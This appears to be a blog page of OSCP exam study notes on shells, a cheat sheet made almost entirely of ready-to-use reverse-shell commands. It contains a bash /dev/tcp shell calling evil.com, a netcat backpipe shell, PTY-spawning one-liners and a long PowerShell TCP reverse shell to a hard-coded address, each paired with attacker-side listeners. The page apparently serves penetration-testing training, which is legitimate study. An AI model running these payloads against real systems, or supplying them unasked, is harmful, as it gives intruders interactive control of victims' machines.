MENU

SECURISM

All about Information Security

OSCP NOTES – SHELLS

USEFUL LINKS

http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
http://bernardodamele.blogspot.in/2011/09/reverse-shells-one-liners.html

REVERSE SHELL WITH BASH

On attackers machine

```
nc -l -p 8080 -vvv
```

On victim machine

```
exec 5<>/dev/tcp/evil.com/8080
cat <&5 | while read line; do $line 2>&5 >&5; done
```

TTY SHELL VIA BINARY

compile following with pyinstaller when you need/want to spawn a tty and there’s no python on the remote machine

```
import pty;pty.spawn(‘/bin/bash’)
```

TTY SHELLS

```
python -c ‘import pty; pty.spawn(“/bin/bash”)’
```

More TTY Shells : http://netsec.ws/?p=337

WHEN -E IS DISABLED IN NC

Victim machine

```
mknod backpipe p && nc 10.xx.xx.54 8888 0<backpipe | /bin/bash 1>backpipe
```

Attacker machine

```
nc -nlvp 8888
```

REVERSE SHELL VIA POWERSHELL IN WINDOWS

```
powershell -command “function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=””””192.168.0.153“”””; $port=””””4445“”””;$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=””””cmd.exe”””” ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length – $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out=”””” “”””}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};”
```

SHARE THIS:

Twitter Facebook

★ Like

Be the first to like this.

Search ...

PAGES

- Contact

- OSCP Notes – Buffer Overflow
- OSCP Notes – Exploitation
- OSCP Notes – File Transfers
- OSCP Notes – Information Gathering
- OSCP Notes – Meterpreter
- OSCP Notes – Password Attacks
- OSCP Notes – Port Forwarding
- OSCP Notes – Port Scanning
- OSCP Notes – Privilege Escalation (Linux)
- OSCP Notes – Privilege Escalation (Windows)
- OSCP Notes – Shells